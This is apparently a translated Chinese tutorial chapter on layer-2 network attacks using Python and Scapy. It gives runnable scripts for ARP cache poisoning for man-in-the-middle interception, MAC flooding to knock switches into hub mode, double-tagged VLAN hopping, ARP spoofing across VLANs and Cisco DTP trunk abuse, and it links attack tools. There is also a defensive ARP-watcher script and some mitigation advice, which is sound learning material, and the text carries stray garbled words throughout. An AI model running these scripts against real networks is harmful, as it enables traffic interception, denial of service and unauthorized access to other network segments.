0x00 摘要css
在本章第二層攻擊當中,咱們將進入網絡hacking的奇幻之旅。讓咱們回顧一下,第二層是負責在以太網中,使用MAC地址來發送數據包。除了ARP攻擊,咱們將探討交換機是如何應對DOS攻擊的,以及如何逃逸出VLAN環境。html
0x01 需求模塊python
在Python中,你沒必要在乎原始套接字或網絡字節順序,藉由Philippe Biondi編寫的Scapy,具備世界上最好的數據包生成器,你能夠輕鬆地定製數據包。既不像在Libnet和C中那樣須要指針運算,也不像在RawIP和Perl中,或者是在Scruby和Ruby中,你會被有限的幾種協議所束縛。Scapy能夠構造從ARP到IP/ICMP,再到TCP/UDP和DNS/DHCP等全部OSI層上的數據包,甚至是更不常見的協議也一樣被支持,好比BOOTP, GPRS, PPPoE, SNMP, Radius, Infrared, L2CAP/HCI, EAP。git
如今讓咱們在第二層網絡上,使用Scapy來製造一些麻煩吧!首先你須要用以下的命令安裝它:github
pip install Scapy
如今你將步入經典著名的中間人攻擊!緩存
0x02 ARP-Cache-Poisoning安全
若是一臺主機想要發送IP數據包到另外一臺主機,就必須預先經過使用ARP協議請求目的MAC地址。這個詢問會向網絡中的全部成員廣播。在一個完美的世界中,只有應答的主機是所需的目的主機。在一個不那麼完美的世界中,攻擊者會每隔幾秒向它的受害者發送一個ARP應答報文,可是是以它本身的MAC地址做爲響應,從而重定向該鏈接到其自身。由於大多數的操做系統都接受它們從未詢問過的應答報文,因此該攻擊纔會生效!ruby
#!/usr/bin/python import sys import time from scapy.all import sendp, ARP, Ether if len(sys.argv) < 3: print sys.argv[0] + ": <target> <spoof_ip>" sys.exit(1) iface = "eth0" target_ip = sys.argv[1] fake_ip = sys.argv[2] ethernet = Ether() arp = ARP(pdst=target_ip, psrc=fake_ip, op="is-at") packet = ethernet / arp while True: sendp(packet, iface=iface) time.sleep(10)
在Scapy的幫助下,咱們構造了一個名爲packet的數據包,裏面包括一個Ethernet()及一個ARP()頭。在ARP頭部中,咱們設置了受害者的IP地址(target_ip)和咱們想劫持全部鏈接的IP地址(fake_ip)。對於最後一個參數,咱們設置OP-Code爲is-at,聲明該數據包爲一個ARP響應。而後sendp()函數在每次發送數據包時,都等待10秒並一直循環發送下去。網絡
須要注意的是,你必須使用sendp()函數而不是send()函數,由於數據包應該在第二層被髮送。send()則是在第三層發送數據包。dom
最後,要記得啓用IP轉發,不然你的主機會阻塞來自受害者的鏈接。
sysctl net.ipv4.ip_forward=1
不要忘記檢查像IPtables這樣的數據包過濾器的設置,使用pf或ipfw或直接禁用它,如今已經瞭解了足夠多的枯燥的理論知識,讓咱們直接進入一些實用的Python代碼吧!
若是你只是用fake_ip來處理客戶端的ARP緩存,那麼你只會獲得客戶端的數據包,而沒法接收到服務端的響應。以下圖所示。
以下圖所示,要強制經過攻擊者的主機進行雙向鏈接,攻擊者就必須使用他的MAC地址,來僞造客戶端和服務端的相關目的地址。
咱們的第一段代碼有些粗糙,它發送了大量的ARP報文,不只產生了所須要的流量,並且也比較暴露。隱蔽的攻擊者會採起另外一種策略。
一臺主機若是想要獲取有關IP地址的信息,會發出一個ARP請求。咱們將編寫一個程序,等待ARP請求,併爲每個接收到的請求發送一個ARP欺騙響應。在交換環境中,這將致使每個鏈接都會流經攻擊者的主機,由於在ARP緩存中,每個IP地址都會有攻擊者的MAC地址。這個攻擊更加優雅,不像以前的那個那麼嘈雜,但仍是很容易被一個訓練有素的管理員檢測到。
以下圖所示,欺騙性的響應數據包和真實主機的響應數據包被並行發送。誰的數據包先被受害者的網卡接收到,則誰獲勝。
#!/usr/bin/python import sys from scapy.all import sniff, sendp, ARP, Ether if len(sys.argv) < 2: print sys.argv[0] + " <iface>" sys.exit(0) def arp_poison_callback(packet): # Got ARP request? if packet[ARP].op == 1: answer = Ether(dst=packet[ARP].hwsrc) / ARP() answer[ARP].op = "is-at" answer[ARP].hwdst = packet[ARP].hwsrc answer[ARP].psrc = packet[ARP].pdst answer[ARP].pdst = packet[ARP].psrc print "Fooling " + packet[ARP].psrc + " that " + \ packet[ARP].pdst + " is me" sendp(answer, iface=sys.argv[1]) sniff(prn=arp_poison_callback, filter="arp", iface=sys.argv[1], store=0)
從參數iface指定的網卡中,sniff()函數無限循環地讀取數據包。將PACP過濾器設置爲arp,使接收到的數據包都被自動過濾,來保證咱們的回調函數arp_poison_callback在被調用時,只有ARP數據包做爲輸入。同時因爲參數store=0,數據包將不會被存儲。
arp_poison_callback()函數處理咱們的實際工做。首先,它會檢查ARP報文的OP code:當它是1時則爲一個ARP請求,而後咱們來生成一個響應包,在響應數據包中,咱們將請求包中的源MAC地址和IP地址做爲目的MAC地址和IP地址。由於咱們未定義源MAC地址,因此Scapy會自動插入發送數據包的網絡接口地址。
ARP中IP與MAC地址的對應關係會被緩存一段時間,由於它會被轉儲起來,對同一地址一遍又一遍地進行解析。能夠用以下命令顯示ARP緩存:
arp -an? (192.168.13.5) at c0:de:de:ad:be:ef [ether] on eth0
這依賴於操做系統和它的版本,本地配置設置及地址被緩存的時間。
爲了抵禦ARP欺騙攻擊,一方面可使用ARP靜態表,可是這一樣能夠被接收到的ARP響應所覆蓋,這些均依賴於操做系統對ARP的處理代碼。另外一方面也可使用像ARP watcher這樣的工具。ARP watcher監控ARP流量,並報告可疑行爲但並不阻止。如今最早進的入侵檢測系統能夠檢測到ARP緩存中毒攻擊。你應該使用上面的代碼,檢查一下你的IDS,看看它是如何表現的。
0x03 ARP-Watcher
接下來咱們編寫一個小工具,來報告全部新鏈接到咱們網絡的設備,爲此它必須可以記住全部IP和MAC地址的對應關係。此外,它還能夠檢測出一個網絡設備是否忽然更改了它的MAC地址。
#!/usr/bin/python from scapy.all import sniff, ARP from signal import signal, SIGINT import sys arp_watcher_db_file = "/var/cache/arp-watcher.db" ip_mac = {} # Save ARP table on shutdown def sig_int_handler(signum, frame): print "Got SIGINT. Saving ARP database..." try: f = open(arp_watcher_db_file, "w") for (ip, mac) in ip_mac.items(): f.write(ip + " " + mac + "\n") f.close() print "Done." except IOError: print "Cannot write file " + arp_watcher_db_file sys.exit(1) def watch_arp(pkt): # got is-at pkt (ARP response) if pkt[ARP].op == 2: print pkt[ARP].hwsrc + " " + pkt[ARP].psrc # Device is new. Remember it. if ip_mac.get(pkt[ARP].psrc) == None: print "Found new device " + \ pkt[ARP].hwsrc + " " + \ pkt[ARP].psrc ip_mac[pkt[ARP].psrc] = pkt[ARP].hwsrc # Device is known but has a different IP elif ip_mac.get(pkt[ARP].psrc) and \ ip_mac[pkt[ARP].psrc] != pkt[ARP].hwsrc: print pkt[ARP].hwsrc + \ " has got new ip " + \ pkt[ARP].psrc + \ " (old " + ip_mac[pkt[ARP].psrc] + ")" ip_mac[pkt[ARP].psrc] = pkt[ARP].hwsrc signal(SIGINT, sig_int_handler) if len(sys.argv) < 2: print sys.argv[0] + " <iface>" sys.exit(0) try: fh = open(arp_watcher_db_file, "r") except IOError: print "Cannot read file " + arp_watcher_db_file sys.exit(1) for line in fh: line.chomp() (ip, mac) = line.split(" ") ip_mac[ip] = mac sniff(prn=watch_arp, filter="arp", iface=sys.argv[1], store=0)
開始咱們定義了一個信號處理函數sig_int_handler(),當用戶中斷程序時該函數會被調用。該函數會在ip_mac字典中,將全部已知的IP和MAC地址對應關係保存到一個文件當中。一開始咱們讀取這些ARP db文件,用目前已知的全部對應關係來初始化程序,若文件沒法讀取則退出。而後咱們將文件內容一行一行地循環讀取,把每一行分割爲IP和MAC地址,將它們保存到 ip_mac字典中。咱們再調用已知的sniff()函數,對每個接收到的ARP數據包,調用回調函數watch_arp。
watch_arp函數是整個程序中的核心邏輯部分。當嗅探到的數據包是is-at數據包時,則該數據包爲一個ARP響應。緊接着咱們首先檢查IP是否存在於ip_mac字典中。若是咱們沒有發現對應條目,則其爲一個新設備,並在屏幕上顯示一條信息。不然咱們將數據包中的MAC地址與字典中的MAC相比較,若是不一樣則響應很但是僞造的,咱們也在屏幕上顯示一條消息。在這兩種狀況下,都會用新的信息來更新字典。
0x04 MAC-Flooder
交換機和其餘計算機同樣,具備有限的內存,交換機中存放MAC地址信息的表格也一樣如此,該表格記錄哪一個MAC地址對應哪一個端口及其內部的ARP緩存。當交換機的緩衝區溢出時,它們的反應就會有些古怪。這將會致使交換機拒絕服務,以致於放棄交換行爲而變得像正常的集線器。在集線器模式下,總體的高流量不會是你遇到的惟一問題,所以在沒有附加操做下,全部已鏈接的計算機都會接收到完整的流量。你應該測試一下的你的交換機在這種意外狀況下是如何反應的,接下來的腳本就能夠作到這一點。它會產生隨機的MAC地址,並將它們發送到你的交換機中,直到交換機的緩衝區被填滿。
#!/usr/bin/python import sys from scapy.all import * packet = Ether(src=RandMAC("*:*:*:*:*:*"), dst=RandMAC("*:*:*:*:*:*")) / \ IP(src=RandIP("*.*.*.*"), dst=RandIP("*.*.*.*")) / \ ICMP() if len(sys.argv) < 2: dev = "eth0" else: dev = sys.argv[1] print "Flooding net with random packets on dev " + dev sendp(packet, iface=dev, loop=1)
RandMAC和RandIP負責隨機地產生地址當中的每個字節。其他的則由sendp()函數的循環參數完成。
0x05 VLAN Hopping
由於VLAN不具有安全特性,一方面標記VLAN取決於包含VLAN id的數據包頭部,使用Scapy能夠很容易建立這樣的數據包。如今讓咱們的電腦鏈接到VLAN1,而且嘗試去ping VLAN2上的其餘主機。
#!/usr/bin/python from scapy.all import * packet = Ether(dst="c0:d3:de:ad:be:ef") / \ Dot1Q(vlan=1) / \ Dot1Q(vlan=2) / \ IP(dst="192.168.13.3") / \ ICMP() sendp(packet)
首先咱們設定在數據包的頭部當中,包含咱們的VLAN標記,再加上一個目的主機地址。交換機將會移除第一個標記,並不決定如何處理該數據包,當它看到第二個標記VLAN id 2 的時候,則決定轉發到這個vlan。若是交換機鏈接到其餘經過堆疊啓用的VLAN交換機,這種攻擊只會是成功的,不然它們就是使用的基於端口的VLAN。
0x06 Let’s Play Switch
Linux能夠運行在許多嵌入式網絡設備上;所以憑藉Linux操做系統,人們能夠把本身的電腦變成一臺功能齊全的VALN交換機,這並不使人驚奇。你只須要vconfig這種工具就夠了。在根據你的操做系統安裝所需的數據包後,經過如下的命令,你能夠將你的主機加入到另外一個VLAN環境中。
vconfig add eth0 1
而後你必須記住啓動新設備,並給它一個VLAN網絡中的IP地址。
ifconfig eth0.1 192.168.13.23 up
0x07 ARP Spoofing Over VLAN Hopping
VLAN會限制對同一VLAN的端口的廣播流量,所以咱們不能在默認狀況下應對全部的ARP請求,就像在第一個ARP spoofing例子中看到的那樣,必須每隔幾秒就向受害者告訴咱們的MAC地址。除了咱們對每一個數據包進行了標記和加之的目的VLAN,下面的代碼是通用的。
#!/usr/bin/python import time from scapy.all import sendp, ARP, Ether, Dot1Q iface = "eth0" target_ip = '192.168.13.23' fake_ip = '192.168.13.5' fake_mac = 'c0:d3:de:ad:be:ef' our_vlan = 1 target_vlan = 2 packet = Ether() / \ Dot1Q(vlan=our_vlan) / \ Dot1Q(vlan=target_vlan) / \ ARP(hwsrc=fake_mac, pdst=target_ip, psrc=fake_ip, op="is-at") while True: sendp(packet, iface=iface) time.sleep(10)
幸運的是,防護這種類型的VLAN攻擊並無那麼複雜:若是你真的想分離你的網絡,只須要使用物理劃分的交換機!
0x08 DTP Abusing
DTP(動態中繼協議)是一種由思科發明的專有協議,用於若是一個端口是trunk端口,則交換機之間能夠動態地交流。Trunk端口一般用於互連交換機和路由器,以便共享一些或全部已知的VLAN。
爲了可以執行下面的代碼,你須要安裝Scapy的開發版本。同時爲了check out出源,請先安裝Mercurial,而後鍵入如下命令來克隆Scapy repository。
hg clone http://hg.secdev.org/scapy scapy
若是你想跟蹤Scapy的最新版本,你只須要時不時地更新checkout。
cd scapy hg pull
如今你能夠將舊版本的Scapy變成最新版的了。
pip uninstall Scapy cd scapy python setup.py install
多虧了DTP協議,和它徹底忽視任何一種安全的屬性,咱們如今就能夠發送一個動態可取包到每個啓用DTP的思科設備,並要求它將咱們的端口轉變爲trunk端口。
#!/usr/bin/python import sys from scapy.layers.l2 import Dot3 , LLC, SNAP from scapy.contrib.dtp import * if len(sys.argv) < 2: print sys.argv[0] + " <dev>" sys.exit() negotiate_trunk(iface=sys.argv[1])
做爲一個可選參數,你能夠設置欺騙相鄰交換機的MAC地址,若是沒有設置,則會自動生成一個隨機值。
這種攻擊可能會持續幾分鐘,可是攻擊者並不關心延遲,由於他們知道在改變鏈接到每個VLAN的可能性以後他們會獲得什麼!
vconfig add eth0 <vlan-id> ifconfig eth0.<vlan-id> <ip_of_vlan> up
沒有足夠好的理由來使用DTP,因此乾脆禁用掉它吧!
0x09 Tools
NetCommander
NetCommander是一個簡單的ARP欺騙程序。它經過對每個可能的IP發送ARP請求,來搜索網絡上存活的主機。你能夠選擇須要劫持的鏈接,而後每隔幾秒,NetCommander就會自動地欺騙那些主機和默認網關之間的雙向鏈接。
工具的源代碼能夠從這裏下載:https://github.com/evilsocket/NetCommander
Hacker’s Hideaway ARP Attack Tool
Hacker’s Hideaway ARP Attack Tool比NetCommander的功能多一些。除了欺騙特殊鏈接,它還支持被動欺騙全部對源IP的ARP請求,和MAC泛洪攻擊。
工具的下載連接爲:https://packetstormsecurity.org/files/81368/hharp.py.tar.bz2
Loki
Loki是一種像Yersinia的第二層和第三層攻擊工具。它能夠經過插件來擴展,也有一個漂亮的GUI界面。它實現了像ARP欺騙和泛洪,BGP,RIP路由注入之類的攻擊,甚至能夠攻擊像HSRP和VRRP那樣很是罕見的協議。
工具的源代碼地址爲:https://www.c0decafe.de/loki.html